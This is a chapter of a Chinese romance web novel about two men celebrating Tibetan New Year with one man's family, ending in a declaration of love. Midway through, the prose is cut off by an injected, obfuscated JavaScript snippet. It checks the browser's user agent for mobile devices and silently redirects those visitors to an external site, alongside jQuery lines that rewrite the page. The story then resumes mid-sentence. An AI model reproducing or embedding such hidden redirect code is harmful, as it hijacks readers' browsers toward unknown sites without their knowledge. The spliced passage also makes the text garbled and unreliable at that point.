藏历十二月一日，索朗罗萨，在诵经声中到来。
天还没亮，阿妈米玛啦就起来了。
她换上了崭新的藏袍，墨绿色的底，镶着五彩的缎边，头发梳成复杂的发髻，戴上了平时不戴的银饰。尽管脸色仍然苍白，但她的眼睛里有光，那是节日赋予病人的、短暂的健康。
尼玛旺堆也穿上了正式的藏装。深褐色的袍子，同色的腰带，露出白色衬衫的袖子。他站在院子里，让德吉次仁帮他整理衣领时，回头看见了沈翊。
那一瞬间，他们的目光在空中相遇。没有语言，但有什么东西在无声中交换了，昨晚的星空，那个吻，那些誓言，全部压缩成一个眼神，一个只有他们懂得的眼神。
“来，”尼玛旺堆对沈翊伸出手，“我阿妈要给你穿衣服。”
沈翊愣住了。阿妈米玛啦确实拿着一套藏袍走过来，那是崭新的、显然是为他准备的。袍子是靛蓝色，面料厚实，袖口和衣襟绣着精细的花纹。
“我……”沈翊不知道该说什么。
“穿上吧。”德吉次仁笑着说，“这是我们家的传统，新年第一天，要给家里每个人穿上新衣。你现在是我们家的人了。”
“家里人”。这个词像一道暖流，瞬间淹没了沈翊。他任由阿妈米玛啦帮他穿上藏袍，笨拙地学着系腰带。袍子很合身，显然是特意量过尺寸的。当他完全穿好，站在院子里时，尼玛旺堆的眼睛亮了一下。
“好看。”他说，简单直接。
德吉次仁绕着沈翊转了一圈：“嗯，像个藏族小伙子了。就是皮肤太白，得多晒晒。”
仪式从“抢新水”开始。
“德吉次仁在家帮妈妈，尼玛旺堆只能替他去。”尼玛旺堆背着水桶，带着沈翊来到村里的水井边。已经有不少人在那里排队了，大家互相祝福“罗萨扎西德勒”，笑声在清晨寒冷的空气中回荡。
“新年第一桶水，能带来好运。”尼玛旺堆解释着，动作麻利地打上满满一桶水。水很清，在桶里晃荡着，映出天空渐渐亮起的蓝色。
回去的路上，他们遇到了其他村民。大家看到沈翊穿着藏袍，都友善地打招呼。一个老奶奶甚至走过来，摸了摸沈翊袍子的面料，用藏语说了句什么。
“她说，”尼玛旺堆有些吃醋的翻译，嘴角带着笑，“这料子好，穿着暖和。问你有没有对象，她有个孙女……”
沈翊的脸红了。尼玛旺堆哈哈大笑，用藏语回了老奶奶几句，老奶奶也笑了，拍拍沈翊的肩膀，颤巍巍地走了。
“你说了什么？”沈翊问。
“我说，”尼玛旺堆凑近他耳边，热气喷在他的皮肤上，“你已经有人了。”
沈翊的耳根烧了起来。
接下来的仪式一项接一项，“在佛堂献供，在屋顶煨桑。尼玛旺堆耐心地教沈翊每一个步骤，解释每一个动作的含义。当沈翊学着他的样子，用无名指蘸了青稞酒弹向空中时，尼玛旺堆看着他专注的侧脸，忽然感到一阵强烈的情感涌上心头。
就是这个人。
这个从遥远城市来的、曾经伤痕累累的、现在正笨拙地学习弹酒的人。他想和这个人一起，迎接每一个新年，送走每一个旧岁；想教他所有自己知道的传统，也想学所有他带来的新鲜；想看着他慢慢被高原的阳光晒黑，
想保护他永远不被这里的风雪伤害。
早餐是丰盛的“羌枯”和各式油炸面点。阿妈米玛啦坚持要沈翊坐在主客的位置，不停地往他碗里夹菜。沈翊吃不下，尼玛旺堆就自然而然地接过他碗里剩下的食物，毫不介意地吃完。
德吉次仁看着这一幕，眼神复杂。她什么也没说，只是给母亲添了碗粥。
上午，客人开始登门。亲戚、邻居、朋友，带着哈达和礼物，说着吉祥的祝福。沈翊被尼玛旺堆拉着，一次次介绍：“这是沈翊，我家的客人……不，是家人。”
每一次说“家人”，尼玛旺堆都会握紧沈翊的手。那是一个公开的、无声的宣告。有些亲戚露出了不解的表情，有些则无所谓地点点头。但没有人说什么难听的话，在这个节日里，所有的祝福都是真诚的，所有的接纳都是宽容的。况且他们也许真的不懂同一性别的人是会相爱的。
下午是家庭的小聚会。大家聚集在客厅中央，围成的圆圈，跳起“果谐”。尼玛旺堆拉着沈翊加入舞蹈的队伍，教他简单的舞步：抬脚，落下，旋转，拍手。
沈翊跳得很笨拙，总踩不准节奏。但尼玛旺堆一直在他身边，用眼神鼓励，用手势引导。当沈翊终于跟上一个完整的段落时，尼玛旺堆笑了，那笑容灿烂得让沈翊几乎忘了呼吸。
黄昏时分，庆祝活动接近尾声。
尼玛旺堆带着沈翊来到后山的白塔。这里安静，只有风吹过经幡的声音，和远处隐约传来的欢笑声。
“累吗？”尼玛旺堆问。
沈翊点头：“累，但是开心。”
他们在白塔旁坐下，看着夕阳把整个村庄染成金色。炊烟从家家户户升起，空气中飘来炖肉的香气。孩子们在田间奔跑，狗在后面追，发出欢快的吠叫。
“这就是我的世界。”尼玛旺堆轻声说，“简单，重复，有时候很辛苦，但大多数时候……很踏实。”
沈翊靠在他肩上：“我喜欢你的世界。”
尼玛旺堆揽住他的肩，把他往怀里带了带。这个动作如此自然，仿佛他们已经这样做了一辈子。
“沈翊，”尼玛旺堆说，声音在暮色中显得格外温柔，“昨晚我说的话，都是真的。每一个字都是真的。”
“我知道。”
“我不会说漂亮的誓言，也不会做浪漫的事。我只会……每天给你倒酥油茶，教你藏语，带你去看我喜欢的风景。如果你生病了，我会照顾你；如果你难过了，我会陪着你；如果你想家了，我会……我会试着让你的家变成这里。”
沈翊抬起头，看着尼玛旺堆被夕阳镀上金边的脸。这个男人的承诺如此朴素，却比任何华丽的誓言都更有力量。
“尼玛旺堆，”沈翊说，“我活了二十七年，经历过背叛、欺骗、失望。我曾经以为，爱是这个世界上最不可靠的东西。可是你……你让我重新相信了。”
他伸手，抚平尼玛旺堆被风吹乱的头发：“我不需要浪漫，不需要誓言。我只需要每天早上的酥油茶，需要你教我藏语时认真的表情，需要你在星空下看我的眼神。这些就足够了。这些就是我想要的，全部的未来。”
尼玛旺堆的喉结滚动了一下。他低下头，额头抵着沈翊的额头，闭上眼睛。
许久，他说：“好。”
只有一个字，却重若千钧。
夜幕降临，他们手牵手下山。村庄里已经亮起了灯，窗户里透出温暖的黄色光晕。尼玛旺堆家的院子里，德吉次仁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182998|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正在生火，阿妈米玛啦坐在火边，手里转着经筒。
看见他们回来，德吉次仁招招手：“快来，要开始‘篝火会’了。”
那是罗萨之夜的最后一个环节，一家人围坐在篝火旁，唱歌，喝酒，分享过去一年的故事，许下新一年的愿望。尼玛旺堆和沈翊加入圆圈，接过传递过来的青稞酒碗。
酒过三巡，歌声响起。先是古老的民谣，然后是流行歌曲，最后变成了即兴的创作。有人唱丰收的喜悦，有人唱远行的思念，有人唱爱情的甜蜜。
轮到尼玛旺堆时，他沉默了很久。篝火在他脸上跳跃，让他的表情看起来深沉而温柔。
然后他开口了。不是唱歌，是说话，用藏语，声音不大，但足够让圈子里每个人都听见。
德吉次仁在沈翊耳边轻声翻译：
“过去的一年，我家的客人变成了家人。他来自很远的地方，带着满身伤痕。我们教会他挤牛奶、捡牛粪、爬雪山。他教会我们……什么是温柔的坚强。”
“我曾经以为，爱是负担，是责任，是不得不背负的东西。但他让我知道，爱也可以是礼物，是光，是让你想变得更好的力量。”
“新的一年，我只有一个愿望——希望每天早上醒来，都能看见他睡在我身边的侧脸。希望每天晚上睡前，都能听见他对我说‘晚安’。希望岁月静好，希望时光慢走，希望这片高原的阳光，能永远照在他的笑容上。”
尼玛旺堆说完，举起酒碗，一饮而尽。篝火噼啪作响，火星升上夜空，与星辰融为一体。
全场寂静了片刻。然后，掌声响起。不是雷鸣般的，而是温和的、理解的、祝福的掌声。老人们点头微笑，年轻人吹起口哨，孩子们虽然不懂，也跟着拍手。
沈翊坐在那里，看着尼玛旺堆。火光中，他的爱人转过身，对他伸出手。
沈翊把手放上去。尼玛旺堆握住，很紧，像握住一件失而复得的珍宝。
那一刻，沈翊知道，无论未来有多少风雨，无论阿妈米玛啦是否接受，无论这个世界是否理解——这只手，他不会再放开了。
篝火渐渐熄灭，亲戚们渐渐离开。尼玛旺堆和沈翊最后离开，他们踩着一地星光回家。院子里，阿妈米玛啦已经进屋休息了，德吉次仁在收拾残局。
“我来。”尼玛旺堆接过姐姐手里的东西。
德吉次仁看了他一眼，又看了沈翊一眼，最终只是笑了笑：“早点休息。”
房间里，尼玛旺堆点亮酥油灯。温暖的光晕铺满房间，在墙壁上投下两人依偎的影子。
“今天……”沈翊开口，却不知该说什么。
“今天很好。”尼玛旺堆接上他的话，从背后抱住他，下巴搁在他肩上，“以后的每一年，都会这么好。”
沈翊转过身，面对面看着他。灯光下，尼玛旺堆的眼睛像两潭深水，里面映着一个小小的、完整的自己。
“我爱你。”沈翊说。第一次，他说出了这三个字。
尼玛旺堆怔住了。然后，一个巨大的、灿烂的笑容在他脸上绽开。他什么也没说，只是把沈翊紧紧搂进怀里，紧到沈翊能听见他胸腔里传来的、擂鼓般的心跳。
那一夜，他们在酥油灯的光晕里相拥而眠。窗外，高原的风吹过经幡，星星在夜空中缓缓旋转，新的一年已经到来。
而春天，正在冻土之下，悄悄孕育着新生。